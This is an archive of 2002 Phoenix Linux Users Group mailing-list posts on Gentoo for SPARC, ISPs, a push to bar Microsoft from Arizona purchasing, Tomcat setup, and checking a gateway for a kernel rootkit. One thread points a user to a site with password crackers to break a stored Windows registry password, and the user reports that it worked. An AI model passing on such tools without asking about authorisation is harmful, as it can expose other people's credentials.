> The last version I needed to install from was 1.1, which only included a > i386 kernel to install from, I can't see how they'd some how muck install > kernels for two diff architectures onto one cd (not to mention I doubt the > el torito boodable cd standardworks on sparc machines). > > -Kyle > > On Tue, Jun 18, 2002 at 09:38:56AM -0700, slr wrote: > > good morning plug, > > > > question for you guys familiar with gentoo. i > > noticed they sell a SPARC version, but i also noticed this statement: > > > > SPARC CDs for $3.75 USD apiece, and donating 20% of their profits from > > Gentoo sales to the Gentoo Linux project! :) Note that the i686 CD will > > allow a build from scratch for *all* systems, but also has pre-built > > stuff for i686+ CPUs. > > > > the Note states that the i686 will allow a build from scratch on *all* > > systems, does that include the Ultra Sparc II? i want to try gentoo on my > > Ultra 5, because i have to many stability issues with MDK 7.1 corp. > > server and i dont like working with Solaris 8. so gentoo sounds like a > > great alternative for bringing new life to an over priced desktop. > > > > slr > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 16:28:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Wed, 19 Jun 2002 09:28:11 -0700 Subject: Local ISPs... In-Reply-To: Message-ID: <5.1.0.14.0.20020619092610.024e2b30@localhost> I can actually help you out with that. I have a special for PLUG people of $14.95 per month. I am not afraid nor will I yell too much when you send me some problem reports. The PLUG has always helped me out when I need a redirection. If you want to get this connected, just give me a call and it takes less than 10 minutes to get you going. My phone number is 602-375-5363. Kimi A. Adams, V.P. Unity Wave, L.L.C. At 6/19/02, you wrote: >Can anybody recommend a good local dialup ISP that is Linux-friendly and >reliable? I don't need a lot of hand-holding, just one that isn't going >to get all weird when I report a problem and I give them output from >pppd's logs. > >(my current ISP, USISP [which is neither linux-friendly nor local] has >constant problems with what should be easy stuff [you know, little things >like changing my account without telling me and keeping the in-addr.arpa >records working] and I'm sick of it) > >-Fedl > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 16:34:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Wed, 19 Jun 2002 09:34:29 -0700 Subject: Fw: Computer Purchasing Guidelines In-Reply-To: <02061908581006.01526@nova.wedge.org> References: <006f01c2174b$5e9e3d90$42c8a8c0@schnauzer> <006f01c2174b$5e9e3d90$42c8a8c0@schnauzer> Message-ID: <5.1.0.14.0.20020619093307.024ec210@localhost> Would this be civil? Kimi At 6/19/02, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >According to the state administrative rules, it looks like most if not all of >the school districts could be required to initiate debarment proceedings >against MS. Anyone know an attorney who is willing to take something like >this on pro-bono? > >On Tuesday 18 June 2002 21:39, you wrote: > > Here is the response I received from David Cantelme, Deer Valley school > > board member. He is the one who has arizonalawinstitute@yahoo.com as his > > email address. It sounds to me that all the school districts and the state > > itself should be starting debarment proceedings against MS. We need to > > start contacting the legislators, Attorney General's office and your local > > school superintendents. > > > > > > ----- Original Message ----- > > From: "david cantelme" > > To: "Tom Achtenberg" > > Sent: Tuesday, June 18, 2002 6:08 AM > > Subject: Re: Computer Purchasing Guidelines > > > > > > Dear Mr. Actenburg: > > > > They do not, but similar rules found in the state > > school district procurement rules do apply. Both sets > > of rules have their origen in the state procurement > > code. You can find the school district procurement > > rules by going to the secretary of state web site. > > Click on administrative rules. Go to title seven. > > Then scroll down to R7-2-1001. That's where the rules > > begin. They continue to about R7-2-1175. > > > > Debarment procedures do exist in the school district > > procurement rules. You would need to address your > > comments on debarment to the adminsitration. That's > > who would initiate the procedure. If the > > administration initiates a debarment procedure, the > > board determines whether to appoint a hearing officer. > > It goes from there to the officer with appropriate > > due process to the contractor. The board itself has > > no involvement in the hearing process. The officer > > must be independent to ensure a fair hearing under our > > constitutional system. > > > > --- Tom Achtenberg wrote: > > > I was wondering if the Maricopa County purchasing > > > policies listed below apply > > > to DVUSD purchasing pprocedures? > > > > > > Maricopa County policies. Interesting references: > > > > > > MC1-101 DEFINITIONS > > > 25."CONTRACTOR" means any Person who has a Contract > > > with a County > > > Governmental unit. For purposes of Article 5, > > > Contractor may also mean > > > Respondent as defined in this Article. > > > 36."DEBARMENT" means an action taken by the County > > > Administrative > > > Officer under MC1-902 to prohibit a Person from > > > Participating in > > > Maricopa County Procurements. > > > 80."PERSON" means any corporation, Business, > > > individual, union, > > > committee, club, other organization or group of > > > individuals. > > > 113."SUSPENSION" means an action taken by the County > > > Administrative > > > Officer under MC1-902 temporarily disqualifying a > > > Person from > > > participating in Maricopa County Procurements. > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-01.htm > > > > > [Microsoft is considered a Contractor and a Person. > > > This is important > > > below.] > > > > > > > > > MC1-407 MAXIMUM PRACTICABLE COMPETITION > > > All Specifications shall seek to promote overall > > > economy for the purpose > > > intended and encourage competition in satisfying > > > Maricopa County's needs > > > and shall not be unduly restrictive. > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-04.htm#MC1-401 > > > > > [Is there any technology that is Microsoft > > > exclusive? I believe there > > > are sites that explain how to replace Exchange > > > Server completely using > > > Linux/OSS with Qmail; and SQL Server is replaceable > > > with mySQL or PostgreSQL; > > > IIS & ASP is replaceable with Apache & PHP, The MS > > > Office suite is > > > replaceable with the very comparable Open Office > > > suite.] > > > > > > > > > MC1-902 DEBARMENT AND SUSPENSION OF CONTRACTORS > > > B. The causes for Debarment or Suspension shall > > > include, but are not > > > limited to, the following: > > > 2. Conviction of any Person or any subsidiary or > > > affiliate of any Person > > > under any statute of the Federal government, this > > > State or its political > > > subdivision or any other State for: > > > k. Any other offense indicating a lack of business > > > integrity or business > > > honesty which affects responsibility as a > > > Contractor. > > > 3. Conviction or civil judgment finding a violation > > > by any Person or any > > > subsidiary or affiliate of any Person under State or > > > Federal Antitrust > > > Statutes. > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-09.htm#MC1-901 > > > > > As I read MC1-902.B.3, Microsoft (a Person), having > > > been convicted of a > > > violation of Federal Antitrust Statues, cannot be a > > > County Contractor. > > > > > > There are many alternatives to Microsofts products. > > > Alternatives that have > > > broken no laws, Federal or Local, are well supported > > > and used by many large > > > governments (Germany, Taiwan, et al). As a > > > concerned voter in the DVUSD, I > > > must point out that I cannot support criminal > > > behavior and would hope that my > > > Governing Board would see fit to do the same and > > > ONLY consider alternatives > > > as Microsoft is clearly unqualified to meet District > > > requirements. > > > > > > Thank You, > > > > > > Tom Achtenberg > > > > > > PS this message was written ans sent to you using a > > > computer that is 100% > > > Microsoft free. It uses the Red Hat Linux 7.3 > > > operating system, KDE windows > > > like desktop and the K-mail email client. All if > > > these programs come under > > > the "General Public License" which means they are > > > 100% free to the public for > > > personal and commercial use. > > > -- > > > Visit the Mountain Ridge Band Site at > > > > http://www.mrhsband.org > > > > > > __________________________________________________ > > Do You Yahoo!? > > Yahoo! - Official partner of 2002 FIFA World Cup > > http://fifaworldcup.yahoo.com > > > > > > > > --- > > Outgoing mail is certified Virus Free. > > Checked by AVG anti-virus system (http://www.grisoft.com). > > Version: 6.0.371 / Virus Database: 206 - Release Date: 6/13/2002 > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >- -- >Jim > >Freedom is worth protecting > >-----BEGIN PGP SIGNATURE----- >Version: PGP 6.5.8 > >iQA/AwUBPRCqEisk3ywszI1FEQJZDwCg0JBu1f1ffMgVts+N9FxVfc3GwRgAoI3a >uqHWgWriXgbXcZvWptly5CtJ >=tKg8 >-----END PGP SIGNATURE----- >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 16:42:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jeffrey Pyne) Date: Wed, 19 Jun 2002 09:42:30 -0700 Subject: Apache, JSP and Jakarta setup question Message-ID: You shouldn't have any problems getting Apache and Tomcat to work as you described. You should be able to access your static HTML content by browsing to http://localhost and your servlets/JSPs by browsing to http://localhost:8080. And once you get Apache talking to Tomcat (with mod_jk or one of its cousins), you can access your servlets by browsing to http://localhost/servlets. Although you didn't ask for it, I can describe some of my experience trying to set up Tomcat with Apache. :) Basically I used an article I found at Linux Journal (http://www.linuxjournal.com/article.php?sid=4576). Once I figured out that Apache 2.0.x is different than Apache 1.3.x, and Tomcat 4.0.x is different than Tomcat 3.2.x, and that the documentation isn't as up-to-date as the software, I was able to follow this article and get Apache 1.3.24 serving static HTML content and passing servlet/JSP requests over to Tomcat 3.2.4 via mod_jk on a RedHat Linux 7.3 box. Before I figured out those differences, I wasted a couple weeks trying to figure out why Tomcat 4.0.x wasn't generating a mod_jk.conf-auto like all the docs said it should, or why Apache 2.0.x didn't seem to be loading the mod_jk module, or why Apache just didn't seem to understand what to do with incoming requests for a .jsp page even though I TOLD it what to do, etc., etc. I still have not been able to find any (good) documentation describing how to set up Apache 2.0.x with mod_jk and Tomcat 4.0.x. I did find an article (http://dcb.sun.com/practices/howtos/tomcat_apache.jsp) which describes how to get Apache talking to Tomcat 4.0.x with mod_webapp, but I failed to get that working either, for reasons I can't recall. I guess the good thing is that, as a result of struggling for two weeks to get this working, I gained a pretty good understanding of the workers.properties, server.xml, mod_jk.conf-auto, httpd.conf and web.xml files. Now if I could just figure out how to get the tag to work in SSI pages (without using the obviously preferable method of converting those SSI pages to JSPs).... Good luck, ~Jeff On Monday, June 17, 2002 4:11 PM, Alpha Zenon Sanchez wrote: > Hello Linux Users: > > > 1. I wanted to play around (test develop and teach > myself) > some Java Servlets Programming **Locally Without** > having to configure Apache > and Linux to work as a Network server. Is this > possible? > > 2. Can Apache serve .html pages and .jsp pages to a > local computer even if it is not > configured to be on the network? My idea is to use > the computer's loopback address > to emulate a 'network' setting for Apache, my > computer and the browswer. Is this > possible? > > 3. If not possible, am i stuck to learn Samba and need > a 'true' client/server environment > with a server and a workstation to develop .jsp > pages? > > I plan to use Apache, Jakarta Tomcat and MySQL for > testing and learning. > I'm currently using Redhat 7.2 and KDE as a desktop > environment. From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 16:51:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Wed, 19 Jun 2002 09:51:23 -0700 Subject: possible LKM rootkit infection In-Reply-To: References: Message-ID: <200206190951.32365.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Wednesday 19 June 2002 07:59 am, Matt Alexander wrote: > It's possible that the "lsof" command wasn't trojaned, since most root > kits don't check for it. Try "lsof -ni" and see if there's any > difference between "netstat -lp". If so, copy over a new "ps" and "ls" > and "netstat" from another machine that you know hasn't been compromised > (a fresh install is best, and make sure it's the same arch/distro). If > lsof shows an unusual port, check to see what program is running in the > far left column. Locate that program and run "strings" on it to get more > info. This should get you started. Keep us updated on what you find. I see a lot of advice on modified programs, but it may be worse than that. There was a presentation at DefCon last year where a kernel module was introduced that hid connections, files, processes, itself, and whatever else you chose. Of course you could replace any binaries with those you wanted, but programs like Tripwire won't detect any change in files. Thus, unless you logged on as a special user (which didn't exist, by the way), then you could be clueless. Fortunately, if you install this kernel module yourself, then it can defeat any of the other installations. The name of this system was KIS: Kernel Intrusion System, but I can't seem to find their homepage. Your best bet to see if this is the case would be to portscan yourself and run netstat (probably a clean copy, but it doesn't have to be). If there is a discrepency between the two reports, I would consider it a very real possibility. The cure should be simple: replace /sbin/init with a clean copy. Good luck! - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9ELaPpNoctRtUIRQRAmocAJ4rNa4j6jOJvI4c9ojtNmx5p9Th6ACfbE3+ Yo45pLHsIUZKXEy8czpdUYs= =+nPQ -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 16:57:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Wed, 19 Jun 2002 09:57:41 -0700 Subject: Fw: Computer Purchasing Guidelines In-Reply-To: <5.1.0.14.0.20020619093307.024ec210@localhost> References: <006f01c2174b$5e9e3d90$42c8a8c0@schnauzer> <5.1.0.14.0.20020619093307.024ec210@localhost> Message-ID: <02061909574107.01526@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 IMHO, which is decidedly non-legal, I think that debarment proceedings are neither civil nor criminal, but rather a violation of procurement rules. I could be wrong, but if my reading of the procurement rules is accurate, MS could be debarred from contracting with the state, its departments, its school districts, and its cities and municipalities. On Wednesday 19 June 2002 09:34, you wrote: > Would this be civil? > > Kimi > > At 6/19/02, you wrote: > >-----BEGIN PGP SIGNED MESSAGE----- > >Hash: SHA1 > > > >According to the state administrative rules, it looks like most if not all > > of the school districts could be required to initiate debarment > > proceedings against MS. Anyone know an attorney who is willing to take > > something like this on pro-bono? > > > >On Tuesday 18 June 2002 21:39, you wrote: > > > Here is the response I received from David Cantelme, Deer Valley school > > > board member. He is the one who has arizonalawinstitute@yahoo.com as > > > his email address. It sounds to me that all the school districts and > > > the state itself should be starting debarment proceedings against MS. > > > We need to start contacting the legislators, Attorney General's office > > > and your local school superintendents. > > > > > > > > > ----- Original Message ----- > > > From: "david cantelme" > > > To: "Tom Achtenberg" > > > Sent: Tuesday, June 18, 2002 6:08 AM > > > Subject: Re: Computer Purchasing Guidelines > > > > > > > > > Dear Mr. Actenburg: > > > > > > They do not, but similar rules found in the state > > > school district procurement rules do apply. Both sets > > > of rules have their origen in the state procurement > > > code. You can find the school district procurement > > > rules by going to the secretary of state web site. > > > Click on administrative rules. Go to title seven. > > > Then scroll down to R7-2-1001. That's where the rules > > > begin. They continue to about R7-2-1175. > > > > > > Debarment procedures do exist in the school district > > > procurement rules. You would need to address your > > > comments on debarment to the adminsitration. That's > > > who would initiate the procedure. If the > > > administration initiates a debarment procedure, the > > > board determines whether to appoint a hearing officer. > > > It goes from there to the officer with appropriate > > > due process to the contractor. The board itself has > > > no involvement in the hearing process. The officer > > > must be independent to ensure a fair hearing under our > > > constitutional system. > > > > > > --- Tom Achtenberg wrote: > > > > I was wondering if the Maricopa County purchasing > > > > policies listed below apply > > > > to DVUSD purchasing pprocedures? > > > > > > > > Maricopa County policies. Interesting references: > > > > > > > > MC1-101 DEFINITIONS > > > > 25."CONTRACTOR" means any Person who has a Contract > > > > with a County > > > > Governmental unit. For purposes of Article 5, > > > > Contractor may also mean > > > > Respondent as defined in this Article. > > > > 36."DEBARMENT" means an action taken by the County > > > > Administrative > > > > Officer under MC1-902 to prohibit a Person from > > > > Participating in > > > > Maricopa County Procurements. > > > > 80."PERSON" means any corporation, Business, > > > > individual, union, > > > > committee, club, other organization or group of > > > > individuals. > > > > 113."SUSPENSION" means an action taken by the County > > > > Administrative > > > > Officer under MC1-902 temporarily disqualifying a > > > > Person from > > > > participating in Maricopa County Procurements. > > > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-01.htm > > > > > > > [Microsoft is considered a Contractor and a Person. > > > > This is important > > > > below.] > > > > > > > > > > > > MC1-407 MAXIMUM PRACTICABLE COMPETITION > > > > All Specifications shall seek to promote overall > > > > economy for the purpose > > > > intended and encourage competition in satisfying > > > > Maricopa County's needs > > > > and shall not be unduly restrictive. > > > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-04.htm#MC1-401 > > > > > > > [Is there any technology that is Microsoft > > > > exclusive? I believe there > > > > are sites that explain how to replace Exchange > > > > Server completely using > > > > Linux/OSS with Qmail; and SQL Server is replaceable > > > > with mySQL or PostgreSQL; > > > > IIS & ASP is replaceable with Apache & PHP, The MS > > > > Office suite is > > > > replaceable with the very comparable Open Office > > > > suite.] > > > > > > > > > > > > MC1-902 DEBARMENT AND SUSPENSION OF CONTRACTORS > > > > B. The causes for Debarment or Suspension shall > > > > include, but are not > > > > limited to, the following: > > > > 2. Conviction of any Person or any subsidiary or > > > > affiliate of any Person > > > > under any statute of the Federal government, this > > > > State or its political > > > > subdivision or any other State for: > > > > k. Any other offense indicating a lack of business > > > > integrity or business > > > > honesty which affects responsibility as a > > > > Contractor. > > > > 3. Conviction or civil judgment finding a violation > > > > by any Person or any > > > > subsidiary or affiliate of any Person under State or > > > > Federal Antitrust > > > > Statutes. > > > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-09.htm#MC1-901 > > > > > > > As I read MC1-902.B.3, Microsoft (a Person), having > > > > been convicted of a > > > > violation of Federal Antitrust Statues, cannot be a > > > > County Contractor. > > > > > > > > There are many alternatives to Microsofts products. > > > > Alternatives that have > > > > broken no laws, Federal or Local, are well supported > > > > and used by many large > > > > governments (Germany, Taiwan, et al). As a > > > > concerned voter in the DVUSD, I > > > > must point out that I cannot support criminal > > > > behavior and would hope that my > > > > Governing Board would see fit to do the same and > > > > ONLY consider alternatives > > > > as Microsoft is clearly unqualified to meet District > > > > requirements. > > > > > > > > Thank You, > > > > > > > > Tom Achtenberg > > > > > > > > PS this message was written ans sent to you using a > > > > computer that is 100% > > > > Microsoft free. It uses the Red Hat Linux 7.3 > > > > operating system, KDE windows > > > > like desktop and the K-mail email client. All if > > > > these programs come under > > > > the "General Public License" which means they are > > > > 100% free to the public for > > > > personal and commercial use. > > > > -- > > > > Visit the Mountain Ridge Band Site at > > > > > > http://www.mrhsband.org > > > > > > > > > __________________________________________________ > > > Do You Yahoo!? > > > Yahoo! - Official partner of 2002 FIFA World Cup > > > http://fifaworldcup.yahoo.com > > > > > > > > > > > > --- > > > Outgoing mail is certified Virus Free. > > > Checked by AVG anti-virus system (http://www.grisoft.com). > > > Version: 6.0.371 / Virus Database: 206 - Release Date: 6/13/2002 > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > >- -- > >Jim > > > >Freedom is worth protecting > > > >-----BEGIN PGP SIGNATURE----- > >Version: PGP 6.5.8 > > > >iQA/AwUBPRCqEisk3ywszI1FEQJZDwCg0JBu1f1ffMgVts+N9FxVfc3GwRgAoI3a > >uqHWgWriXgbXcZvWptly5CtJ > >=tKg8 > >-----END PGP SIGNATURE----- > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRC4BSsk3ywszI1FEQLMygCeP8J3OAAe0HtrEvQsqzXiRt3bHRgAn20/ jvqee9WrnED2XJex6UfhtK/4 =EQ9s -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 17:21:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (Sundar) Date: Wed, 19 Jun 2002 10:21:57 -0700 Subject: Ethical hacking/cracking References: <3D0FBA65.9060506@esaravana.com> <200206181629.36140.zen2now@qwest.net> Message-ID: <3D10BDB5.9070402@esaravana.com> You are a dangerous man. I downloaded an application and it cracked without a hassle. Thanks, Sundar slr wrote: >i didnt say this! > >but check out http://www.blackcode.com/, they several password crackers on >their site. the only thing is you will have to register to download files. > >remember i didnt send you there. :~D > >slr > >On Tuesday 18 June 2002 03:55 pm, Sundar wrote: > >>Hello, >> >>Would you guys know of hacking/cracking the password key stored in >>Windows NT registry by an application? Application in question is 'Funk >>Software Proxy' and it seems to have stored the password in binary form. >> >>(The guy who ghost imaged the system left the company and now we have to >>connect to them.) >> >>Any help is appreciated >> >>Sundar >> >> >> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >>post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 18:18:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 19 Jun 2002 11:18:14 -0700 (PDT) Subject: Internet access at InstallFest? Message-ID: I can't remember if this was stated already, but will there be Internet access at the InstallFest? I'd like to be able to plug my Linux Terminal Server in and provide my clients with 'net access. Plus, it'll be fun to plug a wireless access point in to some random network jack and hack all the newbie systems from my wireless laptop. Heh. Just kidding. ;-) Thanks, ~M From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 18:38:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 19 Jun 2002 14:38:18 -0400 Subject: Internet access at InstallFest? Message-ID: Yes, fast internet access will be available. Alan On Wed, 19 Jun 2002 11:18:14 -0700 (PDT) Matt Alexander wrote: I can't remember if this was stated already, but will there be Internet access at the InstallFest? I'd like to be able to plug my Linux Terminal Server in and provide my clients with 'net access. Plus, it'll be fun to plug a wireless access point in to some random network jack and hack all the newbie systems from my wireless laptop. Heh. Just kidding. ;-) Thanks, ~M ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 18:54:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Wed, 19 Jun 2002 11:54:26 -0700 Subject: possible LKM rootkit infection In-Reply-To: <20020619134030.37517.qmail@web14008.mail.yahoo.com> References: <20020619134030.37517.qmail@web14008.mail.yahoo.com> Message-ID: <20020619185425.PSTV25007.fed1mtao01.cox.net@there> On Wednesday 19 June 2002 06:40 am, you wrote: > What are the processes that are invisible? Are any of them using a > high/odd port number? IE ssh on port 37337? Any other info you can > provide about this would also be helpful. IE how is your system connected > to the net? ok, heres what I know: ssh doesn't appear to be running any odd port numbers (just the standard issue low port), chkrootkit-.35 would not specifiy which processes were invisible (will have to contact the author on that). as for the system, it is connected to the cablemode and is running an iptables firewall script (a big one) with portsentry and prelude intrusion detection in place and operating. the box in question is my IPMASQ/NAT/FIREWALL/gateway for the rest of the lan. all other machines in the lan check out ok (no infection or intrusion). I've tried manually running ps and readdir and both yielded no results I can use. also, on this mornings run of chkrootkit, those 4 invisible processsses are no longer there (inactive, deactivated, or what I don't know). I have a copy of the log it made if you wish to paruse. > > Also, (curiosity on my part)what are using for a rootkit checker? the one available at www.chkrootkit.org > > scott > Technomage -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 18:57:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Wed, 19 Jun 2002 11:57:33 -0700 (MST) Subject: Fw: Computer Purchasing Guidelines In-Reply-To: <02061908581006.01526@nova.wedge.org> Message-ID: Perhaps this group? http://www.aclpi.org/ Arizona Center for Law in the Public Interest. Though as noted in other messages, this is certainly an administrative procedural issue with each purchasing authority in the state. However, if the various governmental agencies don't at least give the issue a basic review, maybe there would be something that the ACLPI would have an interest in? ------------------------------------------ -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 According to the state administrative rules, it looks like most if not all of the school districts could be required to initiate debarment proceedings against MS. Anyone know an attorney who is willing to take something like this on pro-bono? On Tuesday 18 June 2002 21:39, you wrote: > Here is the response I received from David Cantelme, Deer Valley school > board member. He is the one who has arizonalawinstitute@yahoo.com as his > email address. It sounds to me that all the school districts and the state > itself should be starting debarment proceedings against MS. We need to > start contacting the legislators, Attorney General's office and your local > school superintendents. > > > ----- Original Message ----- > From: "david cantelme" > To: "Tom Achtenberg" > Sent: Tuesday, June 18, 2002 6:08 AM > Subject: Re: Computer Purchasing Guidelines > > > Dear Mr. Actenburg: > > They do not, but similar rules found in the state > school district procurement rules do apply. Both sets > of rules have their origen in the state procurement > code. You can find the school district procurement > rules by going to the secretary of state web site. > Click on administrative rules. Go to title seven. > Then scroll down to R7-2-1001. That's where the rules > begin. They continue to about R7-2-1175. > > Debarment procedures do exist in the school district > procurement rules. You would need to address your > comments on debarment to the adminsitration. That's > who would initiate the procedure. If the > administration initiates a debarment procedure, the > board determines whether to appoint a hearing officer. > It goes from there to the officer with appropriate > due process to the contractor. The board itself has > no involvement in the hearing process. The officer > must be independent to ensure a fair hearing under our > constitutional system. > > --- Tom Achtenberg wrote: > > I was wondering if the Maricopa County purchasing > > policies listed below apply > > to DVUSD purchasing pprocedures? > > > > Maricopa County policies. Interesting references: > > > > MC1-101 DEFINITIONS > > 25."CONTRACTOR" means any Person who has a Contract > > with a County > > Governmental unit. For purposes of Article 5, > > Contractor may also mean > > Respondent as defined in this Article. > > 36."DEBARMENT" means an action taken by the County > > Administrative > > Officer under MC1-902 to prohibit a Person from > > Participating in > > Maricopa County Procurements. > > 80."PERSON" means any corporation, Business, > > individual, union, > > committee, club, other organization or group of > > individuals. > > 113."SUSPENSION" means an action taken by the County > > Administrative > > Officer under MC1-902 temporarily disqualifying a > > Person from > > participating in Maricopa County Procurements. > > http://maricopa.gov/materials/p-code/HTML_code/Code-01.htm > > > [Microsoft is considered a Contractor and a Person. > > This is important > > below.] > > > > > > MC1-407 MAXIMUM PRACTICABLE COMPETITION > > All Specifications shall seek to promote overall > > economy for the purpose > > intended and encourage competition in satisfying > > Maricopa County's needs > > and shall not be unduly restrictive. > > http://maricopa.gov/materials/p-code/HTML_code/Code-04.htm#MC1-401 > > > [Is there any technology that is Microsoft > > exclusive? I believe there > > are sites that explain how to replace Exchange > > Server completely using > > Linux/OSS with Qmail; and SQL Server is replaceable > > with mySQL or PostgreSQL; > > IIS & ASP is replaceable with Apache & PHP, The MS > > Office suite is > > replaceable with the very comparable Open Office > > suite.] > > > > > > MC1-902 DEBARMENT AND SUSPENSION OF CONTRACTORS > > B. The causes for Debarment or Suspension shall > > include, but are not > > limited to, the following: > > 2. Conviction of any Person or any subsidiary or > > affiliate of any Person > > under any statute of the Federal government, this > > State or its political > > subdivision or any other State for: > > k. Any other offense indicating a lack of business > > integrity or business > > honesty which affects responsibility as a > > Contractor. > > 3. Conviction or civil judgment finding a violation > > by any Person or any > > subsidiary or affiliate of any Person under State or > > Federal Antitrust > > Statutes. > > http://maricopa.gov/materials/p-code/HTML_code/Code-09.htm#MC1-901 > > > As I read MC1-902.B.3, Microsoft (a Person), having > > been convicted of a > > violation of Federal Antitrust Statues, cannot be a > > County Contractor. > > > > There are many alternatives to Microsofts products. > > Alternatives that have > > broken no laws, Federal or Local, are well supported > > and used by many large > > governments (Germany, Taiwan, et al). As a > > concerned voter in the DVUSD, I > > must point out that I cannot support criminal > > behavior and would hope that my > > Governing Board would see fit to do the same and > > ONLY consider alternatives > > as Microsoft is clearly unqualified to meet District > > requirements. > > > > Thank You, > > > > Tom Achtenberg > > > > PS this message was written ans sent to you using a > > computer that is 100% > > Microsoft free. It uses the Red Hat Linux 7.3 > > operating system, KDE windows > > like desktop and the K-mail email client. All if > > these programs come under > > the "General Public License" which means they are > > 100% free to the public for > > personal and commercial use. > > -- > > Visit the Mountain Ridge Band Site at > > http://www.mrhsband.org > > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > > > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.371 / Virus Database: 206 - Release Date: 6/13/2002 > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 